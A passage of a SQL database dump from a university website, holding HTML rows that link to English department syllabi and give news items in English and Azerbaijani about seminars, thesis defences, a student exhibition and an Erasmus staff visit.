href=\"http://www.khazar.org/files/eng_depart/English%20Foundations%202%20Nigar%20Mammadova%20.pdf\">English Foundations 2 Nigar Mammadova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/English%20Foundations%202%20Nubar%20Agalarova%20(Economics).pdf\">English Foundations 2 Nubar Agalarova (Economics)</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/English%20Foundations%202%20Nubar%20Agalarova%20.pdf\">English Foundations 2 Nubar Agalarova</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/eng_depart/English%20Foundations%202%20Saadat%20Farhadova%20(Economics).pdf\">English Foundations 2 Saadat Farhadova (Economics)</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/English%20Foundations%202Aziza%20Zulfugarova.pdf\">English Foundations 2&nbsp;Aziza Zulfugarova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Academic%20English%20Adile%20Aliyeva.pdf\">Academic English Adile Aliyeva</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Academic%20English%20Gulnur%20Nabiyeva.pdf\">Academic English Gulnur Nabiyeva</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Academic%20Language%20Skills%20Sevinj%20Iskenderova.pdf\">Academic Language Skills Sevinj Iskenderova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Advanced%20English%20Vocabulary%20Sevil%20Huseynova.pdf\">Advanced English Vocabulary Sevil Huseynova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Advanced%20Grammar%20Milana%20Abbasova.pdf\">Advanced Grammar Milana Abbasova</a>  <br></p><p><a href=\"http://www.khazar.org/files/eng_depart/American%20Authors%20Naila%20Qasimova%2C.pdf\">American Authors Naila Qasimova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/English%20Composition%20Lala%20Gadimova.pdf\">English Composition Lala Gadimova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/ESL%20Pre-advanced%20Lala%20Gamidova.pdf\">ESL Pre-advanced Lala Gamidova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/ESP%20%20Lala%20Aliyeva%20(SHSS).pdf\">ESP&nbsp; Lala Aliyeva (SHSS</a>)  <br></p><p><a href=\"http://www.khazar.org/files/eng_depart/ESP%20Ilham%20Taghiyev%20(Economics).pdf\">ESP Ilham Taghiyev (Economics)</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/ESP%20Oil%20and%20Gas%20Adila%20Abdullayeva.pdf\">ESP Oil and Gas Adila Abdullayeva</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/ESP%20Shahriyar%20Mammadova%20.pdf\">ESP Shahriyar Mammadova </a> <br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Grammar%20pre-Advanced%20Ilham%20Taghiyev%20.pdf\">Grammar pre-Advanced Ilham Taghiyev</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Grammar%20pre-advanced%20Lala%20Gamidova.pdf\">Grammar pre-advanced Lala Gamidova</a>  <br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Introduction%20to%20TESL%20%20Sevil%20Huseynova.pdf\">Introduction to TESL&nbsp; Sevil Huseynova</a>  <br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Introduction%20to%20Translation%20Irina%20Orujova.pdf\">Introduction to Translation Irina Orujova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Lexicology%20Ilham%20Taghiyev.pdf\">Lexicology Ilham Taghiyev</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Literary%20Criticism%20Naila%20Qasimova.pdf\">Literary Criticism Naila Qasimova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Literary%20Studies%20%20Naila%20Qasimova.pdf\">Literary Studies&nbsp; Naila Qasimova </a> <br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Literary%20translation%20Zamira%20Qurbanova.pdf\">Literary translation Zamira Qurbanova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Medical%20Translation%20%20Zulfiyya%20%C4%B0brahimova.pdf\">Medical Translation&nbsp; Zulfiyya İbrahimova</a>  <br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Medical%20Translation%20Elmira%20Aliyeva.pdf\">Medical Translation Elmira Aliyeva</a>  <br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Morphology%20and%20Syntax.%20MA%20Ilham%20Taghiyev.pdf\">Morphology and Syntax. MA Ilham Taghiyev</a>  <br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Oral%20Translation%20Irina%20Orujova.pdf\">Oral Translation Irina Orujova</a>  <br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Oral%20Translation%20Zamira%20Qurbanova%20.pdf\">Oral Translation Zamira Qurbanova</a>  <br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Phonetics%20%20Eynur%20Mehdiyev.pdf\">Phonetics&nbsp; Eynur Mehdiyev</a>  <br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Previous%20Advanced%20English%20Vocabulary%20Sevil%20Huseynova.pdf\">Previous Advanced English Vocabulary Sevil Huseynova</a>  <br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Previous%20Introduction%20to%20TESL%20Sevil%20Huseynova.pdf\">Previous Introduction to TESL Sevil Huseynova</a>  <br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Proverbs%20Interpretation%20Lydia%20Gamidova.pdf\">Proverbs Interpretation Lydia Gamidova</a></p><p> <a href=\"http://www.khazar.org/files/eng_depart/Psycholinguistics%20Lala%20Gadimova.pdf\">Psycholinguistics Lala Gamidova</a></p><p><a href=\"http://www.khazar.org/files/eng_depart/syllabus-2018/Research_Methods_Eynur_Mehdiyev.pdf\">Research Methods Eynur Mehdiyev</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Sight%20translation%20Zamira%20Qurbanova.pdf\">Sight translation Zamira Qurbanova</a>  <br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Sight%20Translation%20Zulfiyya%20Ibrahimova.pdf\">Sight Translation Zulfiyya Ibrahimova</a>  <br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Sociolinguistics%20Milana%20Abbasova.pdf\">Sociolinguistics Milana Abbasova</a>  <br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Stylistics%20Irina%20Orujova.pdf\">Stylistics Irina Orujova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Survey%20of%20American%20Literature%20Naila%20Qasimova.pdf\">Survey of American Literature Naila Qasimova</a>  <br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Survey%20of%20British%20Literature%20Naila%20Qasimova.pdf\">Survey of British Literature Naila Qasimova</a>  <br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Then%20and%20Now%20Shakespeare%20Firangiz%20Nassirova.pdf\">Then and Now Shakespeare Firangiz Nassirova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Theory%20of%20Translation%20and%20Interpretation%20Irina%20Orujova.pdf\">Theory of Translation and Interpretation Irina Orujova</a>  <br></p><p><a href=\"http://www.khazar.org/files/eng_depart/TheoryTranslation%20Irina%20Orujova%20MA.pdf\">Theory&nbsp;Translation Irina Orujova MA</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Translation%20of%20scientific%20and%20technical%20materials%20Zamira%20Qurbanova.pdf\">Translation of Scientific and Technical Materials Zamira Qurbanova</a>  <br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Translation%20of%20Scientific%20and%20Technical%20Texts%20Lydia%20Gamidova.pdf\">Translation of Scientific and Technical Texts Lydia Gamidova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Trans-n%20of%20Literary%20Texts%20Irina%20Orujova.pdf\">Translation of Literary Texts Irina Orujova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/syllabus-2018/Oil_and_Gas_Translation_Gulnur_Nabiyeva.pdf\"></a><a href=\"http://www.khazar.org/files/eng_depart/syllabus-2018/Oil_and_Gas_Translation_Gulnur_Nabiyeva.pdf\">Translation of Oil and Gas related materials_Gulnur_Nabiyeva</a>   <br></p>'),(3429,2012,'az','Sillabuslar','Sillabuslar','<h3><strong>SPRING 2018</strong></h3><p><a href=\"http://www.khazar.org/files/eng_depart/English%20Foundations%201%20%20Nahide%20Quliyeva.pdf\">English Foundations 1&nbsp; Nahide Quliyeva</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/English%20Foundations%201%20Mahire%20Guliyeva%20.pdf\">English Foundations 1 Mahire Guliyeva</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/English%20Foundation%202%20Aytan%20Mammadova.pdf\">English Foundation 2 Aytan Mammadova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/English%20Foundation%202%20Khanim%20Ahmadova%20.pdf\">English Foundation 2 Khanim Ahmadova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/English%20Foundations%202%20%20Konul%20Huseynova.pdf\">English Foundations 2&nbsp; Konul Huseynova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/English%20Foundations%202%20%20Nahide%20Quliyeva.pdf\">English Foundations 2&nbsp; Nahide Quliyeva</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/English%20Foundations%202%20Adila%20Abdullayeva.pdf\">English Foundations 2 Adila Abdullayeva</a></p><p><a href=\"http://www.khazar.org/files/eng_depart/English%20Foundations%202%20Adila%20Abdullayeva.pdf\">English Foundations 2 Kamala&nbsp; Askerova (Education)</a></p><p><a href=\"http://www.khazar.org/files/eng_depart/English%20Foundations%202%20Leyla%20Rahimova%20SHSS.pdf\">English Foundations 2 Leyla Rahimova SHSS</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/English%20Foundations%202%20Leyla%20Rahimova.pdf\">English Foundations 2 Leyla Rahimova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/English%20Foundations%202%20Nigar%20Mammadova%20.pdf\">English Foundations 2 Nigar Mammadova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/English%20Foundations%202%20Nubar%20Agalarova%20(Economics).pdf\">English Foundations 2 Nubar Agalarova (Economics)</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/English%20Foundations%202%20Nubar%20Agalarova%20.pdf\">English Foundations 2 Nubar Agalarova</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/eng_depart/English%20Foundations%202%20Saadat%20Farhadova%20(Economics).pdf\">English Foundations 2 Saadat Farhadova (Economics)</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/English%20Foundations%202Aziza%20Zulfugarova.pdf\">English Foundations 2&nbsp;Aziza Zulfugarova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Academic%20English%20Adile%20Aliyeva.pdf\">Academic English Adile Aliyeva</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Academic%20English%20Gulnur%20Nabiyeva.pdf\">Academic English Gulnur Nabiyeva</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Academic%20Language%20Skills%20Sevinj%20Iskenderova.pdf\">Academic Language Skills Sevinj Iskenderova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Advanced%20English%20Vocabulary%20Sevil%20Huseynova.pdf\">Advanced English Vocabulary Sevil Huseynova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Advanced%20Grammar%20Milana%20Abbasova.pdf\">Advanced Grammar Milana Abbasova</a>  <br></p><p><a href=\"http://www.khazar.org/files/eng_depart/American%20Authors%20Naila%20Qasimova%2C.pdf\">American Authors Naila Qasimova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/English%20Composition%20Lala%20Gadimova.pdf\">English Composition Lala Gadimova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/ESL%20Pre-advanced%20Lala%20Gamidova.pdf\">ESL Pre-advanced Lala Gamidova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/ESP%20%20Lala%20Aliyeva%20(SHSS).pdf\">ESP&nbsp; Lala Aliyeva (SHSS</a>)  <br></p><p><a href=\"http://www.khazar.org/files/eng_depart/ESP%20Ilham%20Taghiyev%20(Economics).pdf\">ESP Ilham Taghiyev (Economics)</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/ESP%20Oil%20and%20Gas%20Adila%20Abdullayeva.pdf\">ESP Oil and Gas Adila Abdullayeva</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/ESP%20Shahriyar%20Mammadova%20.pdf\">ESP Shahriyar Mammadova </a> <br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Grammar%20pre-Advanced%20Ilham%20Taghiyev%20.pdf\">Grammar pre-Advanced Ilham Taghiyev</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Grammar%20pre-advanced%20Lala%20Gamidova.pdf\">Grammar pre-advanced Lala Gamidova</a>  <br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Introduction%20to%20TESL%20%20Sevil%20Huseynova.pdf\">Introduction to TESL&nbsp; Sevil Huseynova</a>  <br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Introduction%20to%20Translation%20Irina%20Orujova.pdf\">Introduction to Translation Irina Orujova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Lexicology%20Ilham%20Taghiyev.pdf\">Lexicology Ilham Taghiyev</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Literary%20Criticism%20Naila%20Qasimova.pdf\">Literary Criticism Naila Qasimova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Literary%20Studies%20%20Naila%20Qasimova.pdf\">Literary Studies&nbsp; Naila Qasimova </a> <br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Literary%20translation%20Zamira%20Qurbanova.pdf\">Literary translation Zamira Qurbanova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Medical%20Translation%20%20Zulfiyya%20%C4%B0brahimova.pdf\">Medical Translation&nbsp; Zulfiyya İbrahimova</a>  <br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Medical%20Translation%20Elmira%20Aliyeva.pdf\">Medical Translation Elmira Aliyeva</a>  <br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Morphology%20and%20Syntax.%20MA%20Ilham%20Taghiyev.pdf\">Morphology and Syntax. MA Ilham Taghiyev</a>  <br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Oral%20Translation%20Irina%20Orujova.pdf\">Oral Translation Irina Orujova</a>  <br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Oral%20Translation%20Zamira%20Qurbanova%20.pdf\">Oral Translation Zamira Qurbanova</a>  <br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Phonetics%20%20Eynur%20Mehdiyev.pdf\">Phonetics&nbsp; Eynur Mehdiyev</a>  <br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Previous%20Advanced%20English%20Vocabulary%20Sevil%20Huseynova.pdf\">Previous Advanced English Vocabulary Sevil Huseynova</a>  <br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Previous%20Introduction%20to%20TESL%20Sevil%20Huseynova.pdf\">Previous Introduction to TESL Sevil Huseynova</a>  <br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Proverbs%20Interpretation%20Lydia%20Gamidova.pdf\">Proverbs Interpretation Lydia Gamidova</a></p><p> <a href=\"http://www.khazar.org/files/eng_depart/Psycholinguistics%20Lala%20Gadimova.pdf\">Psycholinguistics Lala Gamidova</a></p><p><a href=\"http://www.khazar.org/files/eng_depart/Research%20Methods%20MA%20%20Eynur%20Mehdiyev.pdf\"></a><a href=\"http://www.khazar.org/files/eng_depart/syllabus-2018/Research_Methods_Eynur_Mehdiyev.pdf\">Research Methods&nbsp;Eynur Mehdiyev</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Sight%20translation%20Zamira%20Qurbanova.pdf\">Sight translation Zamira Qurbanova</a>  <br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Sight%20Translation%20Zulfiyya%20Ibrahimova.pdf\">Sight Translation Zulfiyya Ibrahimova</a>  <br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Sociolinguistics%20Milana%20Abbasova.pdf\">Sociolinguistics Milana Abbasova</a>  <br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Stylistics%20Irina%20Orujova.pdf\">Stylistics Irina Orujova </a> <br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Survey%20of%20American%20Literature%20Naila%20Qasimova.pdf\">Survey of American Literature Naila Qasimova</a>  <br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Survey%20of%20British%20Literature%20Naila%20Qasimova.pdf\">Survey of British Literature Naila Qasimova</a>  <br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Then%20and%20Now%20Shakespeare%20Firangiz%20Nassirova.pdf\">Then and Now Shakespeare Firangiz Nassirova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Theory%20of%20Translation%20and%20Interpretation%20Irina%20Orujova.pdf\">Theory of Translation and Interpretation Irina Orujova</a>  <br></p><p><a href=\"http://www.khazar.org/files/eng_depart/TheoryTranslation%20Irina%20Orujova%20MA.pdf\">Theory&nbsp;Translation Irina Orujova MA</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Translation%20of%20scientific%20and%20technical%20materials%20Zamira%20Qurbanova.pdf\">Translation of scientific and technical materials Zamira Qurbanova</a>  <br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Translation%20of%20Scientific%20and%20Technical%20Texts%20Lydia%20Gamidova.pdf\">Translation of Scientific and Technical Texts Lydia Gamidova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Trans-n%20of%20Literary%20Texts%20Irina%20Orujova.pdf\">Trans-n of Literary Texts Irina Orujova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/syllabus-2018/Oil_and_Gas_Translation_Gulnur_Nabiyeva.pdf\">Translation of Oil and Gas related materials_Gulnur_Nabiyeva</a><br></p>'),(3471,2046,'en','HERE Seminar on Students in focus: Student as partners in higher education governance and quality assurance','Development Director of Khazar University, Raziya Isayeva participated in HERE Seminar: Students in Higher Education Policy Reform. The Seminar was devoted...','<p style=\"\" mso-margin-top-alt:auto;line-height:normal;background:white\";margin-bottom:auto\"=\"\">Almaty,\r\nKazakhstan </p>\r\n<p style=\"\" mso-margin-top-alt:auto;line-height:normal;background:white\";margin-bottom:auto\"=\"\">Development\r\nDirector of Khazar University, Raziya Isayeva participated in HERE Seminar:\r\nStudents in Higher Education Policy Reform. The Seminar was devoted to the\r\nStudent Engagement, and major discussions were around the Student as partners\r\nin higher education governance and quality assurance. Key speakers of the\r\nseminar were Fernando Galan, European Students’\r\nUnion (ESU); Sean O\'Reilly, Irish Survey of Student Engagement Project; Jyri Lahdesmaa, Board Member, National Union of University\r\nStudents in Finland; Eve Lewis, Director of SPARQS; Mayaan Hagage, Isreali Students’ Union. </p>\r\n<p style=\"\" mso-margin-top-alt:auto;line-height:normal;background:white\";margin-bottom:auto\"=\"\">The seminar has involved all the participants from 27\r\ndifferent countries into the discussions by breaking down them by the topics.\r\nThe first break-out was on Enabling Students in University Governance, the\r\nsecond one Students in Quality Assurance, and the third one was on Students in\r\nNational Reform Process. All these discussions were first based on the thoughts\r\nand ideas on the topics and then participants finalized by it by recommendations\r\nwhat might be done to improve the situation at national, institutional and\r\nindividual levels.</p><p style=\"\" mso-margin-top-alt:auto;line-height:normal;background:white\";margin-bottom:auto\"=\"\">The seminar was hosted by NARXOZ\r\nUniversity, Almaty, Kazakhstan on April 5-6, 2017.&nbsp; The seminar ended with many new ideas of\r\ncooperation, training and development programs within different regions.&nbsp;</p>'),(3430,2013,'az','Xəzər Universitetində “Mühasibatlıq və maliyyə sahəsində karyera” mövzusunda təlim təşkil olunacaq','2017-ci il aprelin 5-i saat 14:00-dan 17:00-a qədər Xəzər Universitetində “Mühasibatlıq...','<p>2017-ci il aprelin 5-i saat 14:00-dan\r\n17:00-a qədər Xəzər Universitetində “Mühasibatlıq və maliyyə sahəsində karyera”\r\nmövzusunda təlim təşkil olunacaq. Təlim universitetin “Neftçilər” korpusunda (otaq\r\n102N) keçiriləcək. Təlimin əsas mövzularını rezyume hazırlamaq, təsirli niyət məktublarının\r\nsirri, peşəkar müsahibəyə hazırlıq, işi harda və necə axtarmalı və ACCA dəsrləri\r\nhaqqında məlumat təşkil edəcək. </p>\r\n<p>Təlimdə\r\nməruzəçi kimi PCOB Group şirkətinin təsisçisi&nbsp;və direktoru Orxan Yusifov\r\nçıxış edəcək.&nbsp;Orxan Yusifovun ictimai mühasibatlıq xidmətlərində Böyük\r\nDördlük (Big 4) şirkəti ilə həm Azərbaycanda, həm də Amerika Birləşmiş\r\nŞtatlarında uzun illər iş təcrübəsi var. O, 2013-cü\r\nildən Birləşmiş Ştatların Sertifikatlı İctimai Mühasib (<em>Certified Public Accountant – CPA</em>) lisenziyasına malikdir və\r\nhazırda o, iki ştatın – Texas (lisenziya № 108268) və Nyu Hempşir (lisenziya №\r\n06725) rəsmi qurumlarının CPA lisenziyalarını daşıyır. </p>\r\n<p>Təlimdə\r\niştirak etmək üçün qeydiyyatdan keçmək tələb olunur! Qeydiyyat ilk keçən 6 tələbəyə\r\ntəlimin ardınca 15 dəqiqəlik sınaq müsahibə təklif olunacaq.</p>\r\n<p>Qeydiyyat\r\nüçün bu elektron ünvana yazmaq lazımdır: <a href=\"mailto:careercenter@khazar.org\">careercenter@khazar.org</a>.&nbsp;</p>'),(3431,2014,'az','“Xəzər Xəbər”  jurnalının 2017-ci il fevral nömrəsi çapdan çıxıb','“Xəzər Xəbər” jurnalının 2017 - ci il fevral nömrəsi (359-cu nömrə) Xəzər Universitetinin mətbəəsində çapdan çıxmışdır. Jurnalı bu linkdə də oxuya...','<p>“Xəzər Xəbər” jurnalının\r\n2017 - ci il fevral nömrəsi (359-cu nömrə) Xəzər Universitetinin mətbəəsində\r\nçapdan çıxmışdır. Jurnalı bu linkdə də oxuya bilərsiniz:&nbsp;</p><p><a href=\"http://khazar-review.khazar.org/\">http://khazar-review.khazar.org/</a></p>'),(3432,2013,'en',' “Accounting and Finance Careers” seminar','On April 5, 2017 from 14:00 to 17:00, Khazar University will be holding a seminar on “Accounting...','<p>On April 5, 2017 from 14:00 to 17:00, Khazar University will be holding a seminar on\r\n“Accounting and Finance Careers” for all interested students. </p>\r\n<p>The\r\nseminar will cover various career development\r\ntopics, and will include an information session on ACCA classes and PCOB\'s\r\nTalent Delivery Services. The speaker of the seminar is Orkhan Yusifov,\r\nthe founder and CEO of PCOB Group. </p>\r\n<p>Six students will be offered one-on-one mock\r\ninterviews with feedback, 15 min each. </p>\r\n<p>For\r\nregistration,&nbsp;send an email to <a href=\"mailto:careercenter@khazar.org\">careercenter@khazar.org</a>.&nbsp;</p>'),(3433,2014,'en','Khazar Review Journal February Issue Published','The February issue of the Khazar Review journal (number 359) was published by Khazar University Press. The journal is available electronically...','<p>The February issue of the Khazar Review\r\njournal (number 359) was published by Khazar University Press. The journal is\r\navailable electronically at this link:&nbsp;</p><p><a href=\"http://khazar-review.khazar.org/\">http://khazar-review.khazar.org/</a>  </p>'),(4088,2288,'en','Master thesis defence was held at English language and Literature Department','On June 20, 2017, Konul Mardanova and Nurana Ismayilova, the Master students from the School of Humanities and Social Sciences defended their Master theses at English language...','<p>On\r\nJune 20, 2017, Konul Mardanova and Nurana Ismayilova, the Master students from\r\nthe School of Humanities and Social Sciences defended their Master theses at\r\nEnglish language and Literature Department. </p>\r\n<p>Dr.\r\nEldar Shahgaldiyev, the Head of the Division of Graduate Studies and Research; Dr.\r\nIrina Orujova and Dr. Irada Samadova, the teachers from Azerbaijan University\r\nof Languages; Eynur Mehdiyev, vice-chair of English language and Literature\r\nDepartment; Milana Abbasova, Minor Programs Coordinator; PhD. Jamala Mammadova\r\nand Gulnar Abasova, teachers of the department, took part in the defence. </p>\r\n<p>During\r\nthe defence Master students gave thorough information about their research and\r\nanswered the questions.</p>\r\n<p>Each\r\nstudent successfully defended her thesis and was awarded a Master’s degree.&nbsp;</p>'),(4089,2289,'en','The students\' creative works were viewed','On June 20, 2017, the creative works of the students who major in Design and study Choir subject were viewed at the Marble Hall of Khazar University. The event was attended...','<p>On June 20, 2017, the creative works of the students\r\nwho major in Design and study Choir subject were viewed at the Marble Hall of\r\nKhazar University. The event was attended by the university administration,\r\ndeans, department directors and the staff.</p>\r\n<p>&nbsp;It should be\r\nnoted that the specialty of Design has been taught at the university for the\r\nfirst time since the current academic year. (Instructors Afag Karimova and Anar\r\nAsadov). Zulfiyya Sadigova, Head of the Department of Music and Fine Arts, the\r\npianist; Afag Karimova, the instructor of the department spoke about the students’\r\ncreativity related to Design and Choir. The participants were invited to have a\r\nlook at the works exhibited in the Marble Hall. The students gave the\r\ninformation and answered the questions regarding their works. &nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Then the concert program was presented by a choral\r\ncollective of the students conducted by &nbsp;Mahsati Jabbarova, the instructor at Khazar\r\nUniversty and accompanied on the piano by &nbsp;Zulfiyya Sadigova. </p>\r\n<p>The creative works made a very good impression on\r\nthe participants. Dr. Hassan Niknafs, the rector of the university, delivered a\r\nspeech and wished them success. &nbsp;</p>'),(3434,2015,'az','Xəzər Universitetində “Strategiya nədir?” mövzusunda seminar keçiriləcək','2017-ci il aprelin 4-ü saat 14:00-dan 15:30-a qədər Xəzər Universitetində “Strategiya nədir?” mövzusunda...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il aprelin 4-ü saat 14:00-dan\r\n15:30-a qədər Xəzər Universitetində “Strategiya nədir?” mövzusunda seminar təşkil\r\nolunacaq. Seminar universitetin “Neftçilər” korpusunda (otaq 102N) keçiriləcək.\r\nSPE Azərbaycan layihəsi çərçivəsində baş tutacaq seminarda məruzəçi kimi\r\nHalliburton şirkətinin nümayəndəsi Xatirə Mikayılova çıxış edəcək.&nbsp;Seminarda\r\ntələbələrə təşkilatların başlıca məqsədlərə nail olmasında uğurlu strategiyanın\r\nrolu və əhəmiyyətindən bəhs olunacaq. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Seminara, ixtisasından asılı olmayaraq,\r\nbütün maraqlananlar dəvətlidirlər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Qeydiyyat\r\nüçün bu elektron ünvana yazmaq lazımdır:&nbsp;<a href=\"mailto:careercenter@khazar.org\">careercenter@khazar.org</a>.&nbsp;</p>'),(3435,2016,'az','Sumqayıt Dövlət Dram Teatrında “Dünya” məktəbinin təşkilatçılığı ilə şəhər məktəblilərinin Mədəniyyət Festivalının qala konserti keçiriləcək','2017-ci il aprelin 11-də Sumqayıt Dövlət Dram Teatrında saat 18:00-da Xəzər Universiteti...','<p>2017-ci\r\nil aprelin 11-də Sumqayıt Dövlət Dram Teatrında saat 18:00-da Xəzər Universiteti\r\nSumqayıt “Dünya” məktəbinin təşkilatçılığı ilə şəhər məktəblilərinin Mədəniyyət\r\nFestivalının qala konserti keçiriləcək.</p>'),(3999,2335,'en','Director of International Relations Office of Kozminski University on Exchange at Khazar University','On July 10-14, 2017, Ms. Valentyna Guminska, Director of International Relations Office at Kozminski University (Warsaw, Poland) participated in...','<p>On July 10-14, 2017, Ms. Valentyna Guminska, Director of International Relations Office at Kozminski University (Warsaw, Poland) participated in a staff mobility at Khazar University within the Erasmus + Program.</p><p>The main goal of the mobility was to get familiarized with the work of the International Affairs Office of Khazar University as well as other departments and units. During her stay in Baku, Ms. Guminska participated in meetings with Dr. Hassan Niknafs, Rector of Khazar University, Ms. Raziya Isayeva, Development Director, Ms. Lyudmila Sotova, Head of Quality Assurance Center, Ms. Fatma Alakbarova, Coordinator of Career Center, Ms. Irada Khalilova, Head of Biology Department, Dr. Jeyhun Mammadov, Dean of School Economics and Management, Mr. Eldar Shahgaldiyev, Head of Division of Graduate Studies and Research, Dr. Jabir Khalilov, Dean of School of Humanities and Social Sciences, Mr. Elmar Mustafayev, Coordinator at the Department of Political Science and International Relations, and Mr. Eynur Mehdiyev, Vice-chair of Department of English Language and Literature.</p><p>Ms. Guminska also met with Professor Hamlet Isakhanli, the founder of Khazar University and the Chairman of its Board of Directors and Trustees.</p><p>Khazar University and Kozminski University signed an Erasmus plus agreement in late 2015 and both universities have exchanged staff and students since then.</p>'),(4000,2335,'az','Kozminski Universitetinin Beynəlxalq Əlaqələr Şöbəsinin Direktoru Xəzər Universitetində','2017-ci il iyulun 10-14-də, Kozminski Universitetinin (Polşa, Varşava) Beynəlxalq Əlaqələr Şöbəsinin direktoru Valentina Guminska...','<p>2017-ci il iyulun 10-14-də, Kozminski Universitetinin (Polşa, Varşava) Beynəlxalq Əlaqələr Şöbəsinin direktoru Valentina Guminska Xəzər Universitetində Erasmus+proqramı çərçivəsində mübadilə proqramında iştirak etdi.</p><p>Mübadilənin əsas məqsədi Xəzər Universitetinin Beynəlxalq Əlaqələr Şöbəsinin və universitetin bir sıra digər departament və şöbələrinin işi ilə yaxından tanış olmaq idi. Həmin müddət ərzində Valentina Guminska Xəzər Universitetinin rektoru Hassan Niknafs, İnkişaf Mərkəzinin direktoru Raziyə İsayeva, Keyfiyyətin Təminatı Mərkəzinin direktoru Lyudmila Sotova, Karyera Mərkəzinin koordinatoru Fatma Ələkbərova, Biologiya departamentinin müdirii İradə Xəlilova, İqtisadiyyat və menecment fakültəsinin dekanı Ceyhun Məmmədov, Magistratura, doktorantura və elmi işlər bölməsinin müdiri Eldar Şahgəldiyev, Humanitar və sosial 